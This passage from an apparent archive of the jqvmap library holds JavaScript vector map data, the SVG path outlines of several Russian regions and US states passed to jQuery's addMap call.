2.06-0.56-1.4-1.03-1.91-1.47c-0.5-0.44-0.44-1-0.5-1.25s-0.06-1.96-0.06-2.84v-1.22s-0.97-2.78-0.97-3.1c0-0.31,0.03-1.05,0.16-1.43,0.12-0.38,0.49-0.69,0.75-0.94,0.25-0.25,1.43-0.78,1.43-0.78l1.47-0.88s0.38-1.71,0.38-2.59-0.5-2.25-0.63-2.56c-0.12-0.32-1.34-0.72-1.34-0.72s-1.5-1.19-1.94-1.19-2.46-0.56-2.9-0.69c-0.45-0.12-1.6-0.78-1.85-0.9-0.25-0.13-1.71-1.25-2.09-1.56-0.38-0.32-1.25-1.1-1.5-1.41-0.26-0.32-0.75-1.44-0.88-1.75-0.12-0.32-0.84-1.66-0.84-1.66s0-0.55-0.13-1.12c-0.12-0.57-0.18-1.65-0.18-2.41s1.02-0.62,1.28-0.62c0.25,0,1.68-0.25,2-0.32,0.31-0.06,1.03-0.74,1.22-1,0.19-0.25,0.37-1.77,0.31-2.09s-0.65-0.81-1.22-1-0.94-0.78-1.12-0.84c-0.19-0.07-2.16-0.88-2.16-0.88s-2.06-0.69-2.5-0.75-0.59,0.44-0.84,0.63c-0.26,0.19-0.5,0.37-1.32,0.37s-1.22-0.44-1.22-0.44l-0.87-1.18s-1.18,0.06-1.81,0.06c-0.64,0-0.91-0.59-1.16-0.91-0.25-0.31-1.06-0.56-1.06-0.56s-0.47-0.19-0.69-0.28c0-0.06,0.19-3.44,0.13-3.69-0.07-0.25-0.66-1.21-0.91-1.47-0.25-0.25-1.37-0.44-1.94-0.44s-1.4,0.6-1.84,0.85-1.06,0.75-1.31,0.94c-0.26,0.19-0.13,1.12-0.13,1.68,0,0.57-0.34,1.03-0.72,1.35-0.38,0.31-0.68,0.25-1.31,0.25s-1.12-0.19-1.63-0.31c-0.5-0.13-0.77-0.56-1.03-0.82-0.25-0.25-1.06-0.96-1.37-1.47-0.32-0.5-0.19-1.05-0.25-1.62-0.07-0.57-0.84-1.65-1.1-2.16-0.25-0.5-1.24-2.34-1.37-2.59s-0.56-1.28-1-1.91-0.9-1.99-1.28-2.62-0.74-1.09-1.5-2.1-0.78-0.56-1.35-0.68c-0.56-0.13-0.99-0.78-1.5-1.35-0.5-0.57-0.84-0.93-1.15-1.75-0.32-0.82-0.37-0.83-0.94-2.15-0.57-1.33-0.07-1.09,0.19-1.66,0.25-0.57,1.06-0.62,1.06-0.62l0.47-0.88s-0.38-1.59-0.31-2.09c0.06-0.51,0.36-0.56,1.06-0.75,0.69-0.19,1.56,0.75,1.94,0.75s1.59-0.5,1.9-0.82c0.32-0.31,0.32-1.08,0.32-1.71,0-0.64-0.62-1-1.13-1.13s-0.94-0.56-0.94-1.06c0-0.51,0.25-1.21,0.25-1.91,0-0.69,0-0.74-0.06-1.25-0.06-0.5-0.12-0.53-0.25-0.91-0.13-0.37,0.06-1.18,0.19-1.68,0.12-0.51,0.56-0.44,0.94-0.38,0.37,0.07,1.24,0.69,1.62,0.94s0.65,0.62,0.84,1,1,1.09,1.63,1.16c0.63,0.06,1.15-0.38,1.15-0.38s-0.09-0.52-0.34-1.09-0.81-1.44-1-1.81c-0.19-0.38-0.5-1.22-0.75-1.6s-0.44-0.5-0.44-0.75,0.69-2.09,0.69-2.41v-3.78c0-0.82,0.19-1.4,0.38-1.72,0.19-0.31,0.87-1.24,1.25-2.06s0.84-1.15,1.09-1.9c0.25-0.76,0.87-1.4,1.44-2.16s0.77-1,1.15-1.12c0.38-0.13,2.91,0.06,3.29,0.06,0.37,0,1.96-0.44,2.65-0.56,0.7-0.13,2.71-0.31,3.41-0.57,0.69-0.25,0.25-0.59,0.18-0.84-0.06-0.25-1.27-0.94-1.65-1.06-0.38-0.13-1.12-0.69-1.38-0.94-0.25-0.25-0.5-1.16-0.5-1.16s-0.59-2.96-0.65-3.28c-0.07-0.31-0.75-1.56-0.75-1.56s-0.13-5.18-0.13-5.63c0-0.44-0.68-2.02-1.37-2.34-0.7-0.32-0.91-0.99-0.91-1.5s0-0.96-0.12-1.59c-0.13-0.64-0.75-1.37-1-1.88-0.26-0.5,0.12-0.78,0.12-1.22s-0.12-1.18-0.5-1.5c-0.38-0.31-0.68-0.49-0.94-0.75-0.25-0.25-0.46-0.9-0.46-1.53s0.28-1,0.34-1.31c0.06-0.32,0.06-1.09-0.06-1.53-0.13-0.44-0.35-1.06-0.41-1.31-0.06-0.26-0.37-1.22-0.37-1.22s-0.5-0.44-0.69-0.44-0.94-0.19-0.94-0.19l-1.78-0.31s-1.69-0.44-1.81-0.69c-0.13-0.25-1.04-0.69-1.04-0.69l-1.56-0.59zm7.25,70.22c-0.88,0.44-1.12,0.43-1.06,1s0.37,1.09,0.63,1.47c0.25,0.38,0.44,0.93,0,1.44-0.45,0.5-1.45,0.52-1.19,1.15,0.25,0.63,0.49,1.06,0.75,1.31,0.25,0.26,0.81,0.9,0.94,1.41,0.12,0.51-0.01,1.06,0.31,1.56,0.31,0.51,0.31,0.69,0.69,0.69,0.37,0,0.59,0.32,0.65-0.5s-0.06-0.95,0-2.84c0.06-1.9,0-2.84,0.06-3.41,0.07-0.57,0.26-1.37,0-1.75-0.25-0.38-1.28-0.9-1.4-1.22-0.13-0.31-0.38-0.31-0.38-0.31zm58.91,12.47c-1.07,0.71-1.16,0.62-1.16,1.15,0,0.54-0.18,0.9,0.53,0.72,0.72-0.18,0.91-0.18,1-0.62,0.09-0.45-0.37-1.25-0.37-1.25zm-10.97,4.53c-0.63,0.45-1.08,0.2-0.81,1.09,0.27,0.9,0.44,1.16,1.15,1.25,0.72,0.09,0.73,0.1,2.07,0.1s2.31,0.06,3.03,0.06c0.71,0,0.99,0.36,1.43,0,0.45-0.36,0.63-0.07,0.54-0.78-0.09-0.72-1.24-0.9-2.22-0.81-0.98,0.08-1.52,0.34-3.13-0.19-1.6-0.54-2.06-0.72-2.06-0.72z","name":"Kamchatka Krai"},"in":{"path":"m33.393,395.68,0.08929,5.2679,17.946-8.5714-1.3393-1.25-2.9464-1.25-1.5179-1.9643-2.4107,2.4107-4.1071-2.6786-1.875,1.0714,0.08929,5.8929-1.5179,1.0714z","name":"Republic of Ingushetia"},"cc":{"path":"m33.482,401.04,1.0714,2.5,3.125,1.6964,3.4821,0.44642,2.1429-1.9643,2.1429,1.7857,2.5-1.5178-0.08929-1.6072,1.875-2.1428,2.8571,0.44642,3.8393-2.8571-0.625-1.9643-4.4643-0.53572,0.44643-2.7679z","name":"Chechen Republic"}}});js/jqvmap/maps/jquery.vmap.usa.js000060400000135004150710775200013027 0ustar00/** Add USA Map Data Points */
jQuery.fn.vectorMap('addMap', 'usa_en', {"width":959,"height":593,"pathes":{"hi":{"path":"m244.66,512.25c-2.48,3.8 2.23,4.04 4.74,5.38 3.06,0.16 3.51,-4.28 2.66,-6.56 -2.72,-0.77 -5.01,-0.19 -7.41,1.19z m-9.31,3.97c-4.02,5.11 3.64,0.48 0.63,-0.09l-0.5,0.07 -0.14,0.02z m39.69,7.97c-0.62,2.09 1.91,6.73 4.39,6.2 2.41,-1.46 3.73,1.73 6.48,0.56 1.23,-1.48 -3.77,-3.2 -3.7,-6.08 -0.95,-3.8 -3.28,-3.2 -5.96,-1.28 -0.41,0.2 -0.81,0.4 -1.22,0.6z m19.94,10.03c3.58,0.95 7.91,2.99 11.25,0.47 -1.05,-1.63 -5.06,-0.59 -7.1,-0.86 -1.44,0.01 -3.54,-1.63 -4.15,0.39z m12.13,4.38c2.33,2.45 3.64,6.83 7.24,7.4 2.36,-0.69 6.84,-0.66 7.32,-3.43 -2.09,-2.51 -5.77,-3.35 -8.88,-4.29 -2.53,-1.2 -4.11,-3.25 -5.68,0.33z m-7.06,1c-0.29,3.69 5.55,3.98 3.67,0.55 -0.27,-1.25 -3.83,-1.74 -3.67,-0.55z m23.66,14.69c0.27,2.45 3.18,3.93 0.47,6.15 -0.65,2.42 -5.54,2.87 -2.52,5.53 2.36,1.46 2.01,4.85 2.92,7.14 -0.72,2.69 -1.43,6.78 1.72,8.06 2.8,2.95 4.5,-1.93 6.19,-3.68 1.27,-1.69 3.85,-4.1 5.94,-2.59 3.04,-0.81 6.3,-2.42 7.78,-5.22 -2.79,-1.31 -4.88,-3.19 -5.57,-6.29 -2.4,-5.33 -8.95,-6.26 -13.58,-8.98 -1.29,-0.52 -2.26,-1.62 -3.34,-0.11z","name":"Hawaii"},"ak":{"path":"m107.84,436.56c-2.27,0.55 -4.87,0.32 -6.84,-0.34 -2.41,1.22 -5.63,4.03 -8.25,1.88 -3.1,0.93 -3.51,3.84 -5.22,5.97 -1.82,2.52 -4.21,3.65 -7.31,3.14 -2.5,-0.94 -5.49,-1.15 -7.5,0.98 2.03,4.34 6.39,8.13 5.82,13.23 -1.85,2.94 6.31,2.99 2.68,5.02 0.15,2.8 3.07,5.68 2.91,7.88 -2.35,2.21 -5.24,-0.38 -7.71,-1.06 -3.24,-0.64 -2.73,-3.35 -0.82,-5.22 -1.57,-1.51 -7.35,-1.81 -6.51,1.12 -2.01,0.04 -3.81,-1.66 -6.27,-0.77 -3.72,-0.44 -5.97,0.65 -2.94,4.05 3.68,1.45 1.06,4.72 1.17,7.57 0.76,2.63 3.66,4.89 6.67,4.17 3.2,-0.06 5.87,3.59 9.21,1.65 2.16,-1.3 5.33,-0.99 4.79,1.89 -2.53,2.07 -1.36,6.13 -2.78,8.75 -1.96,1.88 -4.53,1.59 -6.59,0.16 -1.52,1.37 -4.7,3.68 -6.28,2.22 0.72,-3.71 -4.77,-3.63 -5.51,-0.61 -1.21,3.97 -6.27,4.46 -8.31,7.63 -0.7,2.42 -1.55,6.7 1.74,6.3 1.26,1.11 -1.2,4.8 -2.77,5.52 1.62,2.19 2.65,4.59 2.72,7.34 1.71,1.55 6.35,1.98 7.5,-0.16 2.45,-0.95 1.79,4.1 2.08,5.97 2.47,2.95 -4.02,1.28 -1.61,4.56 -0.85,2.93 -1.76,5.02 2,2.72 2.76,-0.47 5.11,-0.69 5.66,2.09 2.59,-3.91 2.26,2.78 3.25,4.66 0.59,-0.75 1.3,-5.69 3.94,-3.06 -0.17,4.52 5.33,-0.45 5.78,-0.04 0.54,2.92 -1.63,4.24 -2.86,6.41 -1.51,2.24 -2.07,5.63 -4.21,7.17 -3.87,-0.42 -3.37,4.1 -5.5,5.02 -2.65,-0.72 -5.73,0.71 -8.44,1.41 -1.35,2.41 -3.61,4.2 -5.78,1.81 -2.56,0.05 -5.63,0.68 -7.63,2.33 -2.48,2.43 -6.32,3.11 -9.66,2.29 -2.78,-1.91 -7.11,3.41 -3.11,2.31 2.5,-1.91 4.66,0.64 7.25,0.63 2.21,-1.15 4.17,-2.75 6.84,-2.06 2.32,-3.35 5.1,-0.32 7.92,-1.16 2.31,-0.39 7.01,-3.91 5.26,0.66 0.09,-2.91 3.42,-2.73 5.54,-2.04 4.21,0.96 0.29,-3.16 2.08,-3.43 3.47,-2.05 7.52,-2.41 11.2,-3.72 5.48,-3.19 11.62,-5.7 16.21,-10.1 4.27,-2.97 -2.78,-3.48 -1.21,-6.32 1.68,-2.43 4.58,-3.81 7.47,-4.5 1.5,-3.07 3.53,-6.11 5.88,-8.52 2.49,-1.32 4.83,-3.39 7.83,-2.32 2.67,0.71 3.74,5.32 -0.52,3.66 -1.27,-1.88 -5.56,-0.09 -5.25,2.41 -0.21,2.44 -2.56,4.22 -3.06,6.66 4.79,0.85 0.24,3.54 -1.38,3.8 1.67,1.91 5.66,0.6 7.57,-1.14 1.25,-1.85 3.43,-3.8 5.41,-4.22 1.81,2.8 5.1,-1.16 5.74,2.72 0.71,2.78 6.02,-4.86 3.34,-3.1 -3.03,3.11 -3.78,2.86 -1.94,-1.24 1.43,-4.85 -1.76,6.17 -1.45,0.81 -0.81,-3.19 -0.93,-6.03 3.05,-6.4 2.7,-0.86 5.37,-0.87 5.79,2.52 0.42,3.48 3.8,2.84 5.95,4.76 2.41,2.2 4.76,1.95 7.8,1.78 4.34,-0.47 8.01,4.04 12.28,3.17 2.49,-0.42 5.1,-5.2 4.29,-0.23 -2.26,2.83 -0.02,4.12 2.5,5.41 3.13,1.35 5.87,3.14 7.94,5.85 1.31,3.02 6.05,0.28 6.18,2.43 -3.83,1.25 -1.23,3.54 0.21,5.47 1.81,1.95 0.33,5.72 3.64,5.82 1.14,1.28 3.49,7.44 4.01,5.38 -0.35,-2.32 -0.7,-7.86 1.61,-3.76 0.37,1.42 1.04,8.7 2.07,4.74 1.07,-4.88 3.18,0.18 2.22,2.93 3.33,1.69 -1.23,3.33 0.69,4.88 0.69,-3.24 1.31,-0.36 2.16,1.56 1.05,1 1.54,3.94 3.13,3.72 -1.68,-1.72 -2.94,-6.23 0.4,-3 2.42,2.79 4.05,2.12 2.74,-1.66 -2.65,-2.66 0.28,-4.96 2.58,-2.29 3.12,-0.05 2.84,5.21 5.28,4.53 3.31,-3.17 1.5,-7.87 0.69,-11.7 -3.3,-1.55 -7.04,-2.54 -10.22,-4.06 -1.5,-5.33 -6.29,-8.69 -8.4,-13.77 -0.44,-3.33 -4.71,-2.62 -5.75,-5.23 -2.32,-1.72 -2.7,-4.4 -4.56,-6.35 -1.65,-1.53 -5.22,0.95 -5.51,2.94 0.59,3.09 -3.23,3.04 -5.06,4.72 0.05,-4.27 -4.3,-6.15 -6.7,-9.1 -1.33,-1.99 -1.32,-5.36 -4.45,-2.34 -2.37,0.24 -6.38,-0.31 -5.34,-3.62 0.1,-27.7 0.2,-55.4 0.31,-83.09 -2.75,-1.88 -5.88,-4.17 -9.15,-4.4 -2.52,1.72 -5.07,1.09 -7.39,-0.62 -2.72,0.23 -5.12,-0.65 -7.7,-2.89 -3.08,-2.74 -8.58,0.17 -10.98,-3.65 1.13,-3.56 -3.22,-4.83 -5,-2.09 -2.09,0.26 -0.65,-4.31 -3.64,-4.93 -2.57,-2.85 -4.01,-1.28 -5.86,1.21z M36.38,480.63c-0.67,3.11 4.27,1.31 4.72,4.66 0.24,3.82 5.37,3.9 2.34,-0.08 -0.1,-3.22 -3.92,-1.83 -5.06,-4.43 -0.76,-2.02 -0.9,-1.86 -2,-0.16z m-17.16,23.16c2.57,4.06 1.45,1.37 0.13,-1.28 -0.36,0.01 0,1 -0.13,1.28z m21.84,14.81c1.27,1.79 4.99,5.58 6.22,2.03 2.26,-3.3 -3.27,-2.89 -5.23,-3.68 -1.83,-0.9 -0.88,0.54 -0.99,1.65z m91.72,18.78c0.06,3.21 2.81,-1.98 0,0z m-31.47,14.69c-3.2,2.91 -7.24,4.67 -10.56,7.38 0.22,2.75 0.99,7.64 4.67,5.15 2.5,-1.44 4.98,-2.9 7.45,-4.37 -1.84,-3.31 -0.81,-3.15 -4.55,-3.48 -4.15,0.09 1.06,-3.73 2.64,-1.62 3.74,-1.04 3.95,-2.36 1.5,-3.66 0.7,-1.08 -1,0.61 -1.16,0.59z M55.75,570.75c1.42,2.83 3.53,-1.99 0,0z m-35.78,0.34c0.53,2.46 -4.04,4.84 1.05,3.59 4.2,0.47 3.46,-4.35 0.01,-3.84 -0.35,0.08 -0.7,0.16 -1.06,0.24z m62.19,0.69c1.57,2.91 1.31,-2.03 0,0z M58.63,573.13c3.23,0.49 0.99,-3.05 0,0z m-49,0.09c-4.84,2.56 -0.44,1.81 2.29,0.58 2.89,0.16 5.05,-0.48 0.84,-1.46 -1.04,0.29 -2.08,0.58 -3.13,0.88z m7.25,1.38c1.28,0.21 -2.23,-0.59 0,0z","name":"Alaska"},"fl":{"path":"m748.38,439.94c1.69,2.92 1.5,6.12 1.16,9.34 -4.12,0.54 -2.15,-4.69 -5.56,-3.99 -6.18,-0.07 -12.34,1.13 -18.54,1.19 -10.09,0.29 -20.37,2.14 -30.33,0.64 -2.57,-1.57 -2.84,-6.15 -6.5,-5.33 -9.12,-0.12 -18.18,1.79 -27.26,2.55 -5.82,0.63 -11.62,1.37 -17.43,2.12 -1.42,3.25 2.6,4.37 4.06,6.34 0.8,2.28 -1.56,8.42 2.19,7.1 4.11,-1.2 8.08,-2.93 12.48,-2.72 3.34,-0.82 6.63,-0.73 9.89,0.45 4.09,0.8 7.77,3.09 11.41,4.98 1.77,1.94 5.5,1.87 5.97,5 -0.14,3.27 4.32,-0.94 6.5,0.53 3.19,-0.8 5.24,-3.68 7.69,-5.5 4.86,1.69 0.62,-2.9 3.27,-3.97 3.13,-0.83 6.62,-1.39 9.35,0.79 3.04,0.57 5.43,2 6.57,4.99 3.68,0.02 2.88,4.13 5.48,5.3 2.96,0.49 2.98,4.52 6.3,4.3 2.91,0.36 5.45,1.15 5.84,4.45 2.05,2.11 3.92,4.26 3.09,7.41 0.18,3.68 0.12,7.33 -1.44,10.75 0.39,3.68 1.37,7.94 3.28,10.78 2.25,-3.46 0.17,-3.87 -1.74,-6.03 2.19,-1.76 4.86,-0.22 7.3,0.16 0.82,3.15 -2.16,5.6 -3.48,8.19 -3.3,2.21 1.65,4.09 2.73,6.3 3.11,3.34 4.35,7.94 7.53,11.26 0.78,2.29 2.51,7.47 4.63,3.09 2.54,-0.24 3.88,3.44 5.28,5.41 -0.02,2.26 1.93,7.04 3.59,6.44 2.88,-0.8 6.04,0.65 8.28,2.59 2.56,3.3 4.58,6.98 4.56,11.27 1.37,2.73 4.55,0.44 5.81,-1.14 3.74,0.45 7.26,-1.25 9.22,-4.47 -1.01,-2.36 -0.57,-4.83 -0.32,-7.17 -0.04,-2.18 4.33,-3.19 2.25,-6.51 -0.98,-6.33 -0.19,-12.96 -1.87,-19.25 -2.46,-6.93 -7.54,-12.74 -10.4,-19.56 -1.51,-2.41 -4.24,-3.92 -4.62,-7.04 -0.94,-2.28 -2.67,-4.95 -0.07,-6.71 -0.39,-3.56 -4.86,-5.42 -6.84,-8.41 -5.38,-5.57 -8.29,-12.94 -12.35,-19.44 -2.15,-5.53 -4.29,-11.07 -5.91,-16.78 -3.43,0.07 -7.3,-1.03 -10.46,-0.35l-0.34,0.37 -0.26,0.29z m52.91,109.22c-1.9,4.58 0.72,0.38 0.66,-1.91 -0.22,0.64 -0.44,1.27 -0.66,1.91z m-4.69,9.91c2.56,-1.97 3.68,-6.84 1.04,-1.68 -0.35,0.56 -0.69,1.12 -1.04,1.68z m-2.25,2.22c1.46,-1.22 2.04,-2.07 0.18,-0.18l-0.18,0.18z m-5.72,4.16c-5.23,3.69 4.03,-2.14 0.33,-0.19l-0.33,0.19z m-10.72,3.22c-3.41,3.16 5.71,-0.32 4.1,-0.81 -1.8,-0.56 -2.56,-0.71 -4.1,0.81z m-4.59,3.16c0.08,0.16 0.4,-0.3 0,0z","name":"Florida"},"nh":{"path":"m862.56,94c-1.4,-0.41 -3.87,-0.72 -3.05,3 0.22,3.63 -0.73,7.84 2.23,10.59 0.33,2.78 0.08,5.36 -2.17,7.29 -0.19,2.83 -5.98,2.58 -3.35,5.32 1.16,7.35 -0.56,15.03 -0.62,22.51 1.2,1.95 0.98,4.39 0.76,6.75 -1.07,3.79 4.84,-0.05 6.89,0.06 3.93,-1.29 8.46,-1.74 12.04,-3.54 0.77,-3.1 4.37,-2.75 5.94,-4.96 2.59,-3.52 -3.01,-2.73 -2,-6.59 -3.83,0.01 -4.27,-2.46 -4.66,-5.62 -3.84,-11.98 -7.32,-24.45 -11.49,-36.1 -0.18,0.43 -0.35,0.85 -0.53,1.28z","name":"New Hampshire"},"mi":{"path":"M697.86,177.24L694.63,168.99L692.36,159.94L689.94,156.71L687.35,154.93L685.74,156.06L681.86,157.84L679.92,162.85L677.17,166.57L676.04,167.21L674.58,166.57C674.58,166.57 671.99,165.11 672.16,164.47C672.32,163.82 672.64,159.45 672.64,159.45L676.04,158.16L676.84,154.77L677.49,152.18L679.92,150.56L679.59,140.54L677.98,138.28L676.68,137.47L675.87,135.37L676.68,134.56L678.3,134.88L678.46,133.27L676.04,131L674.74,128.42L672.16,128.42L667.63,126.96L662.13,123.57L659.38,123.57L658.74,124.21L657.77,123.73L654.7,121.46L651.79,123.24L648.88,125.51L649.2,129.06L650.17,129.39L652.27,129.87L652.76,130.68L650.17,131.49L647.58,131.81L646.13,133.59L645.81,135.69L646.13,137.31L646.45,142.8L642.9,144.9L642.25,144.74L642.25,140.54L643.54,138.12L644.19,135.69L643.38,134.88L641.44,135.69L640.47,139.89L637.72,141.02L635.94,142.96L635.78,143.93L636.43,144.74L635.78,147.33L633.52,147.81L633.52,148.95L634.33,151.37L633.2,157.51L631.58,161.56L632.23,166.24L632.71,167.38L631.9,169.8L631.58,170.61L631.26,173.36L634.81,179.34L637.72,185.8L639.18,190.65L638.37,195.34L637.4,201.32L634.97,206.5L634.65,209.25L631.39,212.33L635.8,212.17L657.22,209.91L664.5,208.92L664.59,210.58L671.45,209.37L681.74,207.87L685.6,207.41L685.74,206.82L685.9,205.37L688,201.65L690,199.91L689.78,194.86L691.37,193.26L692.46,192.92L692.69,189.36L694.22,186.33L695.27,186.94L695.44,187.58L696.24,187.74L698.18,186.77L697.86,177.24z M581.62,82.06L583.45,80L585.62,79.2L590.99,75.31L593.28,74.74L593.74,75.2L588.59,80.34L585.28,82.29L583.22,83.2L581.62,82.06z M667.79,114.19L668.44,116.69L671.67,116.85L672.97,115.64C672.97,115.64 672.89,114.19 672.56,114.03C672.24,113.86 670.95,112.17 670.95,112.17L668.76,112.41L667.15,112.57L666.82,113.7L667.79,114.19z M567.49,111.21L568.21,110.63L570.96,109.82L574.51,107.56L574.51,106.59L575.16,105.94L581.14,104.97L583.57,103.03L587.93,100.93L588.09,99.64L590.03,96.73L591.81,95.92L593.1,94.14L595.37,91.88L599.73,89.46L604.42,88.97L605.55,90.1L605.23,91.07L601.51,92.04L600.06,95.11L597.79,95.92L597.31,98.35L594.88,101.58L594.56,104.17L595.37,104.65L596.34,103.52L599.89,100.61L601.19,101.9L603.45,101.9L606.68,102.87L608.14,104L609.59,107.08L612.34,109.82L616.22,109.66L617.68,108.69L619.29,109.99L620.91,110.47L622.2,109.66L623.33,109.66L624.95,108.69L628.99,105.14L632.39,104L639.02,103.68L643.54,101.74L646.13,100.45L647.58,100.61L647.58,106.27L648.07,106.59L650.98,107.4L652.92,106.91L659.06,105.3L660.19,104.17L661.65,104.65L661.65,111.6L664.88,114.67L666.17,115.32L667.47,116.29L666.17,116.61L665.37,116.29L661.65,115.81L659.55,116.45L657.28,116.29L654.05,117.75L652.27,117.75L646.45,116.45L641.28,116.61L639.34,119.2L632.39,119.85L629.96,120.66L628.83,123.73L627.54,124.86L627.05,124.7L625.6,123.08L621.07,125.51L620.42,125.51L619.29,123.89L618.48,124.05L616.54,128.42L615.57,132.46L612.39,139.46L611.22,138.42L609.85,137.39L607.9,127.1L604.36,125.73L602.31,123.45L590.19,120.7L587.33,119.67L579.1,117.5L571.21,116.36L567.49,111.21z","name":"Michigan"},"vt":{"path":"m833.16,106.59c0.19,6 4.65,11.21 3.72,17.28 -2.48,4.23 4.52,7.29 2.22,11.58 0.9,1.59 4.66,1.96 4.06,5.25 1.08,4.21 2.86,8.34 1.84,12.76 3.35,-0.51 7.06,-1.17 10.13,-1.97 -0.21,-2.13 1.51,-5.75 -0.53,-7.81 0.2,-7.64 1.01,-15.26 1.13,-22.91 -3.25,-2.41 0.32,-3.79 2.12,-5.18 1.96,-2.28 3.9,-5.07 2.6,-8.1 -2.62,-1.63 -1.02,-5.94 -2.39,-7.22 -8.3,2.1 -16.59,4.21 -24.89,6.31z","name":"Vermont"},"me":{"path":"m889.88,40.22c-2.16,1.31 -3.69,2.74 -4.84,4.69 -2.29,0.6 -4.99,-1.37 -4.88,-3.94 -2.97,-0.82 -3.33,3.68 -4.37,5.71 -1.09,4.29 -3.27,8.39 -3.97,12.69 -0.06,3.04 1,6.63 -1.35,9.09 0.08,2.92 -0.75,6.18 2,8.16 -1.37,5.7 -6.23,10.36 -5.41,16.56 -4.27,-2.21 -1.74,2.47 -1.09,4.73 3.51,11.08 7.19,22.16 10.25,33.35 0.21,3.01 5.81,1.35 4.53,5.7 2.9,2 2.06,-3.92 2.66,-5.87 -1.01,-3.29 2.7,-4.63 0.66,-7.62 0.94,-1.05 2.92,-5.9 4.61,-3.46 2.03,1.03 5.28,-1.89 6.74,-3.19 -0.98,-4.02 4.21,-1.75 4.73,-5.32 -1.11,-2.61 0.74,-5.45 -0.57,-7.44 -2.42,-1.59 3.53,-4.63 3.31,-0.78 2.27,0.48 2.15,2.8 3.66,3.93 1.94,-2.82 -2.15,-3.81 0.35,-6.03 2.43,-0.81 3.1,-3.96 6,-3.31 -0.17,1.46 1.03,3.34 2.26,1.38 2.94,-2.9 5.24,-7.08 9.37,-8.34 1.17,-2.61 3.34,-5.74 0.71,-8.24 -0.55,-1.64 -3.68,-4.84 -4.15,-2.58 -0.75,2.6 -4.66,-0.65 -4.92,-2.22 0.1,-2.8 0.29,-7.17 -3.8,-5.81 -3.96,1.36 -3.64,-3.04 -4.69,-5.61C905.22,58.3 902.75,50.15 900.28,42c-2.86,-1.25 -5.71,-2.92 -8.81,-3.38 -0.53,0.53 -1.06,1.06 -1.59,1.59z m20.47,61c-2.81,1.7 1.87,5.16 1.13,1.22 1.48,-0.9 0.13,-2.4 -1.13,-1.22z m-7.81,7.81c3.16,6.67 2.63,-3.59 0,0z","name":"Maine"},"ri":{"path":"m871,164.28c1.15,4.66 2.29,9.31 3.44,13.97 2.56,-0.49 4.66,-2.29 5.84,-4.56 4.17,0.76 4,-2.64 1.51,-4.97 -1.79,-1.94 -3.16,-5.31 -5.74,-5.92 -1.68,0.49 -3.37,0.99 -5.05,1.48z","name":"Rhode Island"},"ny":{"path":"m825.56,108.66c-2.7,1.12 -5.45,1.68 -8.33,1.43 -5.07,0.72 -10.17,2.73 -12.92,7.31 -2.84,3.43 -4.89,7.49 -7.18,11.2 -1.65,2.36 -5.82,3.73 -5.55,6.84 -0.17,3.56 5.77,0.73 4.43,4.38 -2.69,2.3 0.8,4.23 0.56,6.59 0.5,3.47 -4.26,1.99 -5.36,4 -1.62,2.71 -3.35,6.62 -7.22,6.05 -3.04,-0.43 -5.35,2.05 -7.98,2.63 -2.5,-0.75 -4.7,-2.05 -7.59,-1.31 -5.31,0.21 -10.62,1.98 -15.23,4.53 -0.29,1.77 0.61,6.25 3.17,6.14 1.55,2.48 2.09,4.96 -0.63,6.72 -1.51,1.76 -1.8,4.25 -4.16,5.3 -1.93,1.14 -2.68,3.51 -4.8,4.54 0.33,3.07 -0.22,7.29 4.08,5.12 22.14,-4.26 44.26,-8.68 66.23,-13.74 0.98,3.85 5.67,1.32 6.44,4 0.64,2.93 1.36,7.4 5.33,6.88 3.14,1.9 6.9,3.68 10.69,4.22 2.71,0.47 7.18,1.43 6.44,5.06 -0.33,1.97 -1.62,7.56 1.97,5.93 5.3,-1.65 10.96,-2.84 15.06,-6.85 3.23,-2.49 6.76,-4.64 9.35,-7.86 -2.99,-2.44 -4.65,0.46 -6.81,2.42 -2.91,1.56 -6.01,3.51 -9.16,4.32 -2.6,-0.63 -4.83,-0.86 -6.18,2.07 -1.03,2.04 -4.86,2.98 -3.98,-0.15 4.26,-1.87 -2.17,-3.97 -0.33,-6.21 1.19,-3.13 0.56,-6.87 0.42,-10.21 -1.43,-7.38 -3.69,-14.76 -2.54,-22.36 -0.08,-4.46 1.55,-8.97 -0.51,-13.21 -1.22,-2.56 -0.47,-6.83 -4.05,-7.34 -2.99,-0.66 0.75,-4.31 -1.57,-6.2 -1.7,-2.43 -3.17,-4.91 -1.54,-7.81 0.38,-5.77 -3.83,-10.57 -3.55,-16.35 -2.32,0.65 -4.65,1.29 -6.97,1.94z","name":"New York"},"pa":{"path":"m798.88,181.63c-17.5,3.38 -34.87,7.42 -52.47,10.28 -0.61,-2 0.48,-8.42 -2.41,-4.31 -2.18,2.73 -5.48,3.74 -8.09,5.97 1.52,9.75 2.63,19.57 5.44,29.05 1.14,6.09 2.27,12.17 3.41,18.26 8.85,-1.42 17.79,-2.25 26.51,-4.41 16.39,-3.45 33.03,-6.46 49.33,-9.87 2.48,-3.07 8.03,-1.69 8.97,-6.19 0.64,-2.36 4.86,-3.99 4.33,-5.9 -2.3,-1.89 -5.94,-2.77 -6.39,-6.13 -3.14,1.09 -4.42,-3.94 -3.12,-5.32 3.86,-1.1 -0.49,-3.68 0.55,-5.96 2.52,-1.88 1.12,-5.15 2.81,-7.07 3.87,-2.7 -2.98,-1.1 -3.72,-3.99 -1.35,-2.18 -0.28,-7.24 -4.16,-5.92 -2.34,-1.13 -3.87,-3.75 -7.09,-1.7 -4.64,1.07 -9.28,2.15 -13.92,3.22z","name":"Pennsylvania"},"nj":{"path":"m827.84,191.34c1.03,2.99 -1.82,4.8 -2.06,7.47 2.86,1.63 0.49,4.87 -0.92,5.73 -0.41,3.86 4.01,1.68 4.16,5.14 1.37,2.19 4.72,3.02 6.26,4.94 -0.15,2.61 -3.85,3.5 -4.69,6.06 -0.26,3.07 -4.09,3.19 -4.18,5.96 -0.99,2.38 -0.74,5.09 1.7,6.47 2.85,2.76 6.86,3.99 10.73,4.38 0.48,1.55 -1.84,7.18 1.1,3.59 1.5,-2.42 0.59,-5.95 3.11,-8.01 2.5,-4.08 5.03,-8.84 4.88,-13.61 -1.35,-4.07 0.8,-9.01 -1.81,-12.82 -1.1,1.32 -6.17,1.23 -4.13,-0.8 2.39,-1.39 3.37,-3.62 2.39,-6.31 0.21,-2.31 1.58,-5.42 -1.69,-6.19 -4.35,-1.15 -8.82,-2.13 -12.88,-4.26 -0.66,0.75 -1.31,1.5 -1.97,2.25z","name":"New Jersey"},"de":{"path":"m824.88,225.34c-3.72,0.25 -3.47,3.52 -1.91,6.13 3.35,6.89 3.86,14.58 6.03,21.81 3.45,0.11 6.81,-0.49 10.16,-1.25 -1.2,-2.17 -0.68,-6.38 -3.32,-6.38 -2.9,-1.2 